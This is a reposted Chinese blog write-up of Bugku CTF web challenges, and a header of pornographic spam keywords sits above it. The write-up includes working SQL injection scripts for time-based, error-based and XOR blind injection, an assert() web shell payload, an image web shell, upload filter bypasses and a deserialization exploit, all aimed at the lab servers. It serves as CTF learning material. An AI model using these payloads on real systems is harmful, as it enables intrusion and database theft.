日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

bugku——web 做题记录

發布時間:2024/9/30 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 bugku——web 做题记录 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Table of Contents

2,秋名山車神:

3,速度要快

?

4 welcome to the bugkuctf

1,login1(sql約束攻擊)

sql約束攻擊:

2,過狗一句話

3,細心

4,求getshell

5,INSERT INFO (sql注入? ?之? ?X - F -F 頭注入)

6,這是一個神奇的登陸框

7 多數(sql 注入)

8,PHP_encrypt_1(ISCCCTF)(代碼審計)

9, 文件上傳2

10,flag.php(反序列化)

11,sql 注入 2()

12,?Trim的日記本

13,login3(過濾了 空格、=、union、逗號、and、where等字符的 布爾型盲注)


2,秋名山車神:

?

import requests import re ?? ??? ?#這個庫一般用來匹配文字url = 'http://123.206.87.240:8002/qiumingshan/'?#url r = requests.session()??#requests.sesssion()對象可以跨請求的保存某些參數 g = r.get(url)??#產生一個請求資源的對象,get方法 ans = re.findall('<div>(.*?)=?;</div>',g.text) #使用re庫中的findall方法,匹配正則。第一個參數是要匹配的正則表達式, # 第二個參數是將我們請求到的資源變成字符串的形式,再以列表的形式返回到變量ans中 ans = "".join(ans) #將ans從列表的形式轉化為字符串的形式 ans = ans[:-2] #去掉ans最后的兩個字符,這里即去掉=? post = eval(ans)?#執行我們處理完的字符串,即那個變態的表達式 data = {'value':post} #構造data的post部分 flag = r.post(url,data=data) #生成post請求,post的值是算出來的結果 print(flag.text) #打印返回的數據即flag值



3,速度要快

import requests import base64 url='http://123.206.87.240:8002/web6/' r = requests.session() headers = r.get(url).headers #這三句是為了讓我們能跟網站關聯起來,可以向網站拿數據和發送數據mid = base64.b64decode(headers['flag']) mid = mid.decode() print(mid) #burp suite 回顯的包的headers中發現了flag:...... base64解碼flag = base64.b64decode(mid.split(':')[1])#獲得flag:后的值 并再次解碼 print(flag)data={'margin':flag} print(r.post(url,data).text) #發送margin 并輸出回顯信息

?

4 welcome to the bugkuctf

1.通過php://input對變量輸入內容,讓file_get_contents能夠讀取變量的內容

2.通過php://filter/read=convert.base64-encode/resource=xxx.php得到其他PHP文件的源代碼

3.通過反序列化,對echo的魔術方法__tostring()里面的參數進行賦值
?

首先點入鏈接,查看源代碼:

發現這里是 txt 給user賦值,讀取user的文件,且文件內容是“welcome to the bugkuctf”時,就會包含一個文件,我們可以利用這個文件包含的漏洞,去讀取我們想要的文件,

利用file=php://filter/read=convert.base64-encode/resource=xxx.php (這里必須要先編碼,不然讀到的代碼會被網頁執行)

當然我們的第一反應肯定是去讀flag.php:發現不行

然后嘗試去讀其他文件,比如hint.php 和 index.php

經過base64解碼后得到:

#hint.php <?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("good");} } } ?> #index.php <?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能現在就給你flag哦";exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?> <!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php }else{ echo "you are not admin ! "; } -->

讀index.php 發現file變量的內容中不允許有flag,否則直接輸出并退出;

發現index.php中還有反序列化的內容,并且輸出了字符串(輸出字符串時會自動調用_toString()魔術方法)

于是想到構造序列化的字符串,使在調用魔術方法時能讀取并輸出 flag.php 文件

?

并通過bp 去獲取flag://flag{php_is_the_best_language} ?1

1,login1(sql約束攻擊)

sql約束攻擊:

1、sql處理字符串時,一般是在比較字符串時,會自動刪去末尾多余的空格,這是因為,SQL會在內部使用空格來填充字符串,以便在比較之前使其它們的長度保持一致。這一點,對于where和insert語句是成立的,對于like語句無效。
也就是說,"admin"和"admin? ? ? ? ? ? ?"是等效的。因此,用where id="admin"查詢和用where id="admin? ? ? ? ? "查詢的結果相同。
2、SQL中varchar(n)用于限制最大長度,若字符串長度大于n,則只截取前n個字符。如果用varchar(5)限制了insert查詢的最大長度,則插入
"admin"和"admin? ? ? ? ? ? ?“,最終都會得到"admin”,因此查詢"admin "得到的結果是"admin"的信息。

3,可以自己測試一下,注冊"admin? ? "(admin和4個空格)varchar(15),因為"admin" 與"admin? ? "的長度不同,會成功存入數據庫中,打開PHPadmin? ? 查看一下,的確有 "admin? ? "這個新注冊的用戶,然后修改用戶 "admin? ? ?"的密碼為 123123,會發現是原來的"admin"用戶的密碼被修改為 123123

因此,
可以利用這個漏洞來繞過,方法:若注冊時已知admin這個用戶名存在,則我們可以注冊admin(空格空格空格…)這個用戶名,密碼自定,然后登錄時用剛剛注冊的用戶名和密碼即可得到真實的想要的admin信息或權限。


2,過狗一句話

1,根據提示:
?

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])?>

explode()是將字符串分割為數組

化簡后就是:

assert($_GET['s'])//assert()會將執行內部的字符串 ,有漏洞

在地址欄中構造payload:

http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

去瀏覽目錄:

得到的信息:

Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
打開 得到flag:

http://123.206.87.240:8010/flag_sm1skla1.txt

flag: BUGKU{bugku_web_009801_a}

3,細心

打開:提示讓用admin

先用御劍掃描一下后臺窗口:
發現有有一個 robotx.txt協議

打開協議:

進入 resusl.php

接著傳參 ?x=admin

得到:flag(ctf_0098_lkji-s)

4,求getshell

上傳題:
一共三個過濾

請求頭部的 Content-Type
文件后綴
請求數據的Content-Type
這里是黑名單過濾來判斷文件后綴,依次嘗試php4,phtml,phtm,phps,php5(包括一些字母改變大小寫)
最終發現,php5可以繞過

接下來,請求數據的Content-Type字段改為 image/jpeg

但是一開始沒注意到,上面還有一個請求頭Content-Type字段,大小寫繞過: MuLtipart/form-data;

KEY{bb35dc123820e}

5,INSERT INFO (sql注入? ?之? ?X - F -F 頭注入)

提上給的代碼:

<?php error_reporting(0); function getIp(){$ip = '';if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];}else{$ip = $_SERVER['REMOTE_ADDR'];}$ip_arr = explode(',', $ip);return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql); ?>

大致意思就是將獲取的 XFF頭的ip 地址 插入了數據控中 這里存在了一個注入點, 因為沒有對 XFF頭的信息進行過濾

用burp-suit進行手工注入是不可能的,這輩子都不會用 手工進行 延時注入的

直接上py腳本

首先獲取數據庫名 + 表名

import requestschar= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_@.%&-' url = 'http://123.206.87.240:8002/web15/'payload_db_len = "1'+(select case when (length(database())='{0}') then sleep(6) else 1 end)+'1" #猜解數據庫名稱的payload payload_db = "1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(6) else 1 end)+'1" #猜解表數量的payload payload_tb_num = "1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA='{0}')='{1}' then sleep(6) else 1 end)+'1" #猜解表名字長度的payload payload_tb_name_len = "1'+(select case when (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) = '{2}' then sleep(6) else 1 end)+'1" #猜解表名字的payload payload_tb_name = "1'+(select case when (substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) from {2} for 1)) = '{3}' then sleep(6) else 1 end)+'1"db_length = 0 def get_db_length():#數據庫名長度global db_lengthfor n in range(1,40):try:headers = {'x-forwarded-for': payload_db_len.format(n)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:db_length = nbreakprint("db_length:"+ str(db_length))db_name = '' def get_db_name(): # 數據庫名破解global db_namefor i in range(1, db_length +1):for j in char:try:headers = {'x-forwarded-for': payload_db.format(i,j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:# print(payload_db.format(i,j))db_name += jbreakprint('db_name: ' + db_name)table_num = 0 def get_data_num():#獲取表的數量global table_numfor i in range(1, 50):try:headers = {'x-forwarded-for': payload_tb_num.format(db_name, str(i))}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:table_num = iprint('table_num: ' + str(i))breakdef get_table_name():len = 0for i in range(table_num):for j in range(50):try:headers = {'x-forwarded-for': payload_tb_name_len.format(db_name, i, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:len = jbreakprint("No." + str(i + 1) + " table's length is: " + str(len))table_name = ''for k in range(1, len + 1):for j in char:try:headers = {'x-forwarded-for': payload_tb_name.format(db_name, i, k, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:# print(payload_tb_name.format(db_name,i,k,j))table_name += jbreakprint(table_name)get_db_length() get_db_name() get_data_num() get_table_name()

字段名:

import requestsdic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_-+=@%^&.' url = 'http://123.206.87.240:8002/web15/'target_db = 'web15' target_tb = 'flag'payload_col_num = "1'+(select case when (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}') = '{2}' then sleep(6) else 1 end)+'1" payload_col_len = "1'+(select case when (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) = '{3}' then sleep(6) else 1 end)+'1" payload_col_name = "1'+(select case when (substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) from {3} for 1)) = '{4}' then sleep(6) else 1 end)+'1"col_num = 0 def get_col_num():global col_numfor i in range(50):try:headers = {'x-forwarded-for': payload_col_num.format(target_db, target_tb, i)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:col_num = ibreakprint('col_num = ' + str(col_num))def get_col_name():len = 0for i in range(col_num):for j in range(50):try:headers = {'x-forwarded-for': payload_col_len.format(target_db, target_tb, i, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:len = jprint("No." + str(i + 1) + "column's length : " + str(len))breakcol_name = ''for k in range(1, len + 1):for j in dic:try:headers = {'x-forwarded-for': payload_col_name.format(target_db, target_tb, i, k, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:col_name += jprint(col_name)breakget_col_num() get_col_name()

脫庫:

import requestsdic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_' url = "http://123.206.87.240:8002/web15/"paylaod_content = "1'+(select case when (substr((select flag from flag) from {0} for 1)) = '{1}' then sleep(6) else 1 end)+'1" flag = '' def get_flag():global flagfor i in range(1, 100):for j in dic:try:headers = {'x-forwarded-for': paylaod_content.format(i, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:#print(paylaod_content.format(i, j))flag += jbreakprint("....: "+flag)get_flag() print(flag)

6,這是一個神奇的登陸框

打開是一個登錄框 ,一看就知道是在考察? sql 注入 的相關知識? ok

第一步 : 找 username 的 閉合方式,輸入 1"? 發現竟然可以報錯? ,那這就簡單了好多啊

確定是? 雙引號 的閉合

第二步爆信息

爆庫名:

1" and 1=extractvalue(1,concat(0x7e,(database()))) #

爆出: 數據庫名:bugkusql1

爆表名:

1" and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema = database()))) #

爆字段:

1" and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name = 'flag1'))) #

脫庫:
?

1" and 1=extractvalue(1,concat(0x7e,(select group_concat(flag1)from flag1 ))) #

這里提交flag后發現是錯誤的 !!!!!看一下 是31位 的字符串? 似乎是少了一位

傲傲? 我知道了報錯注入? 的 extractvalue() 函數? 和 updatexml() 函數的回顯位 最多為 32 位

那換 用 聯合查詢 :

換用聯合查詢需要先 確定 回顯位?

先用 1"?order by 3 #? ?發現? 錯誤

再用??1"?order by 2?#? 正常

用?1"? union select? 3,4 #? ?發現回顯的是? ?3? ? ok那就在? 3 的位置進行注入

直接跳到脫庫吧:

?

-1" union select group_concat(flag1),2 from flag1 #

得到flag:

flag{ed6b28e684817d9efcaf802979e57aea}

?

看來還是要少用報錯注入啊

?

7 多數(sql 注入)

提示有兩個? flag (這點很重要)而且都是小寫

打開鏈接 發現是一個 典型的 GET 型 sql注入 題

第一步:先測 閉合方式? :

當注入? 單引號時? ?會出現? Error!Error!Error!

?加? 注釋符 --+? 后? 回顯正常

可知道 閉合方式 是 單引號? 而且 不會報錯,這里不能用報錯注入

第二步: 測有幾個回顯字段

?id=1'order by 2 --+

發現無論怎么改變 后面的數字? 都 是?? Error! Error! Error!

考慮可能是 把關鍵字過濾了? 猜測可能 把? or? ?and? union select 等關鍵字過濾了

注入:

?id=1' oorrder by 2 --+ //正常?id=1' oorrder by 3 --+ //Error!

證實了我的想法? or? 被過濾 了? ? 這里使用? 雙寫的方法繞過 過濾

后面? 其他被過濾的 關鍵字我就不一一說明 證明方法了

?id=-1' uniounionn selecselectt 1,3--+ // 回顯的 是 3

得出有兩個回顯字段? 并且 回顯位為第二個 位置

第三步: 報信息

// 爆庫名?id=-1' uniounionn selecselectt 1,database()--+得到庫名 :web1002-1// 爆表?id=-1' uniounionn selecselectt 1,group_concat(table_name)from infoorrmation_schema.tables where table_schema = database()--+得到表名:flag1,hint//爆字段?id=-1' uniounionn selecselectt 1,group_concat(column_name)from infoorrmation_schema.columns where table_name= 'flag1'--+得到字段:flag1,address//脫庫?id=-1' uniounionn selecselectt 1,group_concat(flag1)from flag1 --+得到信息: usOwycTju+FTUUzXosjr

轉化成全小寫后 得到?flag{usowyctju+ftuuzxosjr}? ?提交發現 不對?

嘗試 爆第二個字段:

?id=-1' uniounionn selecselectt 1,group_concat(address)from flag1 --+

得到:

進去發現 有又一道 sql 注入題

第一步: 確定閉合方式??

注入? 單引號時? 有報錯信息 顯示? 雙引號時 正常? ?說明 是? 單引號 閉合? ?

有報錯信息 那就可以用? ?報錯注入了

第二步 : 爆信息 (用報錯注入的話就 不用在確定回顯位等等那么麻煩了 , 直接爆信息就行)

// 爆庫名?id=1' and 1= extractvalue(1,concat(0x7e,(database()))) --+庫名:web1002-2// 爆表?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(table_name)from information_schema.tables where table_schema = database()))) --+得到表名:class,flag2// 爆字段 ?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(column_name)from information_schema.columns where table_name='flag2'))) --+得到字段:flag2,address// 脫庫 ?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(flag2)from flag2))) --+得到:flag{Bugku-sql_6s-2i-4t-bug}

?

將得到的flag 轉換成 小寫得到??flag{bugku-sql_6s-2i-4t-bug}

注入結束!(這題好像 把 union 關鍵字過濾了)

補充一點 : 這題不能用 盲注 進行操作,因為他把 sleep? ?和 substr? 和 union 關鍵字被過濾了

總結 : 判斷某關鍵字是否被過濾的方法:

用 異或符 ^ 進行判斷

比如:?

?id=1'^(length('union')>0)--+ // 回顯正常 說明 union 被過濾了 ?id=1'^(length('xss')>0)--+ // 回顯錯誤 說明 xss 沒有被過濾

8,PHP_encrypt_1(ISCCCTF)(代碼審計)

首先發現一段密文: base64解密一下 沒解出東西

fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

打開文件是個php 的加密函數:

<?php function encrypt($data,$key) {$key = md5('ISCC');$x = 0;$len = strlen($data);$klen = strlen($key);for ($i=0; $i < $len; $i++) { if ($x == $klen){$x = 0;}$char .= $key[$x];$x+=1;}for ($i=0; $i < $len; $i++) {$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);}return base64_encode($str); }?>

看來給出的密文應該是 經過這個 函數加密后得到的??

那 就需要 寫一個 解密函數? 把密文解密 應該就可以得到flag? 了

直接去找了兩個 代碼:

Python 腳本:

import base64 import hashlibdef decrypt(b64):b64 = str(base64.b64decode(b64), encoding='utf8') # base64轉換后是byte類型數據key = 'ISCC'm = hashlib.md5()m.update(key.encode())md = m.hexdigest()b64_len = len(b64)x = 0char = ''for i in range(b64_len): # strlen($str)==strlen($char)==strlen($data)if x == len(md):x = 0char += md[x]x += 1data = ''for i in range(b64_len): # 也可不進行正負判斷:data += chr((ord(b64[i]) - ord(char[i])+128) % 128)d = ord(b64[i]) - ord(char[i])if d > 0: # 進行判斷,如果相減小于0,說明需要加上128data += chr(d)else:data += chr(d + 128)print(data)if __name__ == "__main__":b64 = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='decrypt(b64)

?

php腳本:

<?php function decrypt($str) {$mkey = "729623334f0aa2784a1599fd374c120d";$klen = strlen($mkey);$tmp = $str;$tmp = base64_decode($tmp); // 對 base64 后的字符串 decode$md_len = strlen($tmp); //獲取字符串長度$x = 0;$char = "";for($i=0;$i < $md_len;$i++) { // 取二次加密用 key;if ($x == $klen) // 數據長度是否超過 key 長度檢測$x = 0;$char .= $mkey[$x]; // 從 key 中取二次加密用 key$x+=1;}$md_data = array();for($i=0;$i<$md_len;$i++) { // 取偏移后密文數據array_push($md_data, ord($tmp[$i]));}$md_data_source = array();$data1 = "";$data2 = "";foreach ($md_data as $key => $value) { // 對偏移后的密文數據進行還原$i = $key;if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}$dd = $value;$od = ord($mkey[$i]);array_push($md_data_source,$dd);$data1 .= chr(($dd+128)-$od); // 第一種可能, 余數+128-key 為回歸數$data2 .= chr($dd-$od); // 第二種可能, 余數直接-key 為回歸數}print "data1 => ".$data1."<br>\n";print "data2 => ".$data2."<br>\n"; } $str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="; decrypt($str); ?>

?

跑出來的 flag:

Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

?

9, 文件上傳2

?

查看源代碼? 一段JavaScript的event:大致意思按 b 就會重新定向到新的頁面 然后試了一下 發現是假的

發現注釋有給提示 :

訪問一下 upload.php

http://123.206.31.85:49166/index.php?file=upload.php

出現一個上傳頁面:

那就利用這個上傳,構造一個 圖片馬? 來獲取系統文件 的目錄 從而得到 flag所在文件的文件名

構造一個圖片馬 :

構造payload:

<script language=php>system("1")</script>

找一個小一點的圖片 用 winhex 打開? 把payload 插入到 最后 然后保存? ? ?上傳

上傳 后:

然后訪問 這個文件(如果payload還在 圖片中的話 這段代碼會被瀏覽器解析 執行? 從而顯示系統目錄)、

http://123.206.31.85:49166/index.php?file=upload/20190818454656.jpg

發現圖片被重新渲染了? 插入的代碼不見了

那我們就把代碼插入到不會重新渲染的部分:(一般在文件頭偏后一點的位置)

然后重新上傳 訪問 后 正常解析:

得到了系統目錄?

然后訪問 flag 文件

http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt

然后得到 flag:

?

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

?

10,flag.php(反序列化)

打開題目入口時有提示:

進入是一個登陸表單 ,我還以為是一個 sql注入題呢,然后輸入 admin admin 后點 login 不管用??

打開 源代碼 沒發現什么異常? 就是 沒有跳轉的頁面而已

這時候想到提示? 的? hint? 既然post 不行 就試一試? get

在 url 中 注入:

?hint=1

出現了 后臺的源代碼:

大致意思是說:

第一句話的意思 是? 得到? 用戶名 為 ISecer 的cookie

如果 通過 get 傳入了 參數 hint 的話? 就輸出 后臺 的源代碼

否則 如果 cookie 的反序列化的 值? 等于? $KEY? 的話 就輸出 flag?

?

看到 最后一句話的時候 我沒加思索的 就認為 $KEY 的值? 就是?'ISecer:www.isecer.com'

后來提交后沒出來 flag 時 ,回過頭來仔細看 才發現 這里 $KEY 是 最后賦值的 跟前面一毛錢關系也沒有

也就是說? 前面的? $KEY = NULL

既然要提交Cookie 那我們就 用? burp suite 提交構造的 Cookie唄

構造Cookie :

這里需要考慮到反序列化的問題 ,所以構造 :

Cookie: ISecer=s:0:""%3B// %3B 是 ; 的意思

得到flag:
?

flag{unserialize_by_virink}

?

11,sql 注入 2()

方法一:正常的注入手段解決

入口處提示 過濾了 部分字符:

到底過濾了哪些字符呢?? 搞了個 關鍵字符 的字典 在 burp-suite 中 搞一下:

不過 發現異或符號 ^ 和 -? 沒有被過濾!!!這點 非常重要

嘗試注入:uname=admin'^'? ? ? ?回顯password error

嘗試注入:uname=admin'^1^'? ? ?回顯 username error

這里 就可以的得出一個結論? : 如果中間 的 部分是正確的? 即為 1? 的話? 就會回顯 username error?

利用這一點我們就可以 使用腳本進行注入了:

由于 逗號? 和 空格 都被過濾了? 所以 substr()函數就不能用了?

需要找一個替代方案:mid()

mid()函數的特性:

mid("password"from(-1)) 返回 dmid("password"from(-3)) 返回 ord

我們再利用一個 reverse() 函數 將字符串翻轉??

然后再利用 mid()? 函數 截取最后一個 字符? ?就能 實現? substr(string,start,1)的功能了

mid("12345"from(-3)) // 345reverse(mid("12345"from(-3))) //543mid(reverse(mid("12345"from(-3)))from(-1)) // 3

?

然后我們 就可以寫腳本注入了: 此時我們可以選擇

1,? 按照常規的注入 方式? ?從數據庫名 一步一步得到 flag (太麻煩了也)

2.,選擇 注入? 存儲 用戶信息的表? ?去 得到??username 和password? ? 登錄后就會拿到 flag

(第二種比較簡單 ,因為我們已經知道一個用戶名? admin 了 ,只需要去 得到password 就可以了)

?

?上腳本:

# -*-coding:utf-8-*- # author : wen # flag:wen{b7bb30b3435f2e7c418b131f9e789f81}import requestsurl = 'http://123.206.87.240:8007/web2/login.php' char = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'flag = ''for i in range(1, 40):for p in range(32, 126):# url = base_url + u"1' and substr((select flag from flag),%d,1)='%s' --+" %(i,p)payload = u"admin'-(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-'" % (i, p)data = {'uname': payload,'passwd': '123456'}html = requests.post(url, data=data).textif 'username' in html:print(i)flag += chr(p)print(flag) print("=================================>")print("\n" + flag)

看完這個腳本是不是和我一樣有很多 疑問?

1, 這里的? 字段 passwd? 是哪里來的?? ? 看網頁源碼 看到表單中? 用的 passwd ,就猜測數據庫中 也用的 passwd?

(或者你就直接在腳本里試? password? 、passwd、pwd)

2,為什么沒有 用常規的? select 語句去 查詢 passwd? ? 因為這用 用的是異或 語句?

異或語句 的 返回值 只能是 1? 或 0? ? ?異或語句前面再加一個 where 時 情況就變得不太一樣,具體請看下面的例子:
?

正常的查詢語句:select * from xxx where username=‘xxxx’;

再試一下:select *from users where username=0? ??

這里幾乎輸出了 所有的信息? (username = 123Mikasa 的沒有輸出) 因為這里就行查詢 對比 時? 字符串會被強制轉換為? 和 0 一樣的 類型? ,而?123Mikasa? 轉換為int 時? 為? 123 ,所以沒有輸出

?

而我們用 的 異或語句? ?返回值? 就是布爾型的? ? ?在 后臺程序進行查詢比對信息時就構成了:

select *from users where uname=0,passed=123,所以 uname 為 純 字符的都會被查詢??

?

得到 一個 32位的字符串 32位那肯定是 md5 了 解密 得到 :admin123

uname :? admin

passwd: admin123

登錄后:看到這個界面? 隨便輸了字符 就得到flag:

flag{sql_iNJEct_comMon3600!}

?

?

方法 二:用 DS_Store 源碼泄露?

用 御劍 跑了一下 沒有 發現什么

只好用 Python 腳本來跑:(這個腳本其實和御劍后臺掃描差不多)

DS_Store下載地址:https://github.com/lijiejie/ds_store_exp?

(我的電腦同時裝了 Python 2? 和? Python 3? ,并都配置了相關的路徑? ,所以 我在跑代碼是 前面 必須加 python2? 或者 python3 ,)

進入:http://123.206.87.240:8007/web2/flag 后會自動下載一個 flag 文件? ?用記事本打開 就能看到flag

?

12,?Trim的日記本

打開 login 界面 和 register 界面? 都顯示? ?mysql connect error? 查看源碼也沒發現什么 異常

只好先打開御劍 掃描一下 了

結構掃面出來一個? show.php? 打開;

這個flag? 咱也不知道 是真是假 這 200 分的題這么容易就給了flag??

不管了 提交一下試一試? 直接復制提交? ? ?過了 。。。。。。what? ? 果然大佬? 都是怪獸 !!!!

flag1:{0/m9o9PDtcSyu7Tt}? ? ?直接提交

?

13,login3(過濾了 空格、=、union、逗號、and、where等字符的 布爾型盲注)

首先 試一下? admin 和 admin? 提示 password error!(這里知道用戶名 admin是存在的)

這里知道了用戶名 admin,那用萬能密碼試一下唄

輸入密碼: admin' or 1 =1? #? ?提示password error !應該是有 過濾吧

用 自己寫的 sql 關鍵字 字典 在burp-suite 中 跑一下 看看到底有哪些 字符被過濾了:

對username 字段:(返回值為 1016 的 在response 中 提示 非法字符 ,說明 1016 的字符試被過濾的 ,1023的沒有過濾)

可以看到? ?= ,逗號,union ,and 、where 都被過濾了?

對password字段:(username 設置的是 admin? ,注入password,返回值全是 1014,response中全是 passWord error!根本看不出開有哪些字符被過濾了)

咱們的思路肯定不能是 去 一步一步的爆 庫 了,太麻煩了

既然知道了用戶名? 那直接組爆? password 不就行了?

還好沒有 過濾? 異或 符? ^? ? 那我們就用 異或 注入

當 在 username 中? 輸入??admin'^' 時? ?會提示? ?password error!

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?輸入??admin'^1^'時? 會提示??username does not exist!

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?輸入? ?admin'^0^'時 會提示? password error!

那我們就可以去 把?admin'^0^'? ?中? 0 位置的 替換成我們的布爾判斷語句?

如果 判斷語句是正確的即為1? 那就會提示?username does not exist!

否則就會提示 : password error !?

根據這個 去寫一個? 布爾的盲注腳本:(在用 substr()函數的時候特別注入 逗號 被過濾的? 只能 用 from的形式

import requestsurl = "http://123.206.31.85:49167/index.php" char = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" result = '' for i in range(1,45):stop = 0for c in char:#兩個payload的表達方式不同 都是可以用的 ,任選其一#payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i),ord(c))payload = "admin'^(ascii(substr((select(password)from(admin))from({0})))<>{1})^0#".format(str(i),ord(c))data = {'username': payload,'password': '123'}html = requests.post(url, data=data)if 'error' in html.text:result +=cstop =1print(i)print("......" + result)break #匹配到值后內循環停止if stop == 0: #當內循環匹配不到值的時候外循環就停止print("\n"+result)break

然后就得到 password 的? 值 為一個 md5加密過的字符串 :51b7a76d51e70b419f60d3473fb6f900

解密后得到:skctf123456

輸入admin? 和?skctf123456 后得到flag:


?

SKCTF{b1iNd_SQL_iNJEcti0n!}

?

?

?

總結

以上是生活随笔為你收集整理的bugku——web 做题记录的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。